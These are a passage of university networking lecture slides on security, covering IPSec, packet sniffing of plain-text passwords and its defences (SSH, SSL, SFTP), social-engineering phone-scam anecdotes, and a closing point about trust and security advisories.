40. 15-441 Networks Fall 2002 40
TCP Attacks
How do we prevent this?
IPSec
– Provides source authentication, so Mr. Big Ears
cannot pretend to be Alice
– Encrypts data before transport, so Mr. Big Ears
cannot talk to Bob without knowing what the
session key is
41. 15-441 Networks Fall 2002 41
Five Minute Break
For your enjoyment, here is something
completely unrelated to this lecture:
42. 15-441 Networks Fall 2002 42
Packet Sniffing
Recall how Ethernet works …
When someone wants to send a packet to
some else …
They put the bits on the wire with the
destination MAC address …
And remember that other hosts are listening
on the wire to detect for collisions …
It couldn’t get any easier to figure out what
data is being transmitted over the network!
43. 15-441 Networks Fall 2002 43
Packet Sniffing
This works for wireless too!
In fact, it works for any broadcast-based
medium
44. 15-441 Networks Fall 2002 44
Packet Sniffing
What kinds of data can we get?
Asked another way, what kind of information
would be most useful to a malicious user?
Answer: Anything in plain text
– Passwords are the most popular
45. 15-441 Networks Fall 2002 45
Packet Sniffing
How can we protect ourselves?
SSH, not Telnet
– Many people at CMU still use Telnet and send their password in the
clear (use PuTTY instead!)
– Now that I have told you this, please do not exploit this information
– Packet sniffing is, by the way, prohibited by Computing Services
HTTP over SSL
– Especially when making purchases with credit cards!
SFTP, not FTP
– Unless you really don’t care about the password or data
– Can also use KerbFTP (download from MyAndrew)
IPSec
– Provides network-layer confidentiality
46. 15-441 Networks Fall 2002 46
Social Problems
People can be just as dangerous as
unprotected computer systems
– People can be lied to, manipulated, bribed,
threatened, harmed, tortured, etc. to give up
valuable information
– Most humans will breakdown once they are at
the “harmed” stage, unless they have been
specially trained
• Think government here…
47. 15-441 Networks Fall 2002 47
Social Problems
Fun Example 1:
– “Hi, I’m your AT&T rep, I’m stuck on a pole. I
need you to punch a bunch of buttons for me”
48. 15-441 Networks Fall 2002 48
Social Problems
Fun Example 2:
– Someone calls you in the middle of the night
• “Have you been calling Egypt for the last six hours?”
• “No”
• “Well, we have a call that’s actually active right now,
it’s on your calling card and it’s to Egypt and as a
matter of fact, you’ve got about $2000 worth of
charges on your card and … read off your AT&T card
number and PIN and then I’ll get rid of the charge for
you”
49. 15-441 Networks Fall 2002 49
Social Problems
Fun Example 3:
– Who saw Office Space?
– In the movie, the three disgruntled employees
installed a money-stealing worm onto the
companies systems
– They did this from inside the company, where
they had full access to the companies systems
• What security techniques can we use to prevent this
type of access?
50. 15-441 Networks Fall 2002 50
Social Problems
There aren’t always solutions to all of these problems
– Humans will continue to be tricked into giving out information they
shouldn’t
– Educating them may help a little here, but, depending on how bad
you want the information, there are a lot of bad things you can do to
get it
So, the best that can be done is to implement a wide variety
of solutions and more closely monitor who has access to
what network resources and information
– But, this solution is still not perfect
51. 15-441 Networks Fall 2002 51
Conclusions
The Internet works only because we implicitly
trust one another
It is very easy to exploit this trust
The same holds true for software
It is important to stay on top of the latest
CERT security advisories to know how to
patch any security holes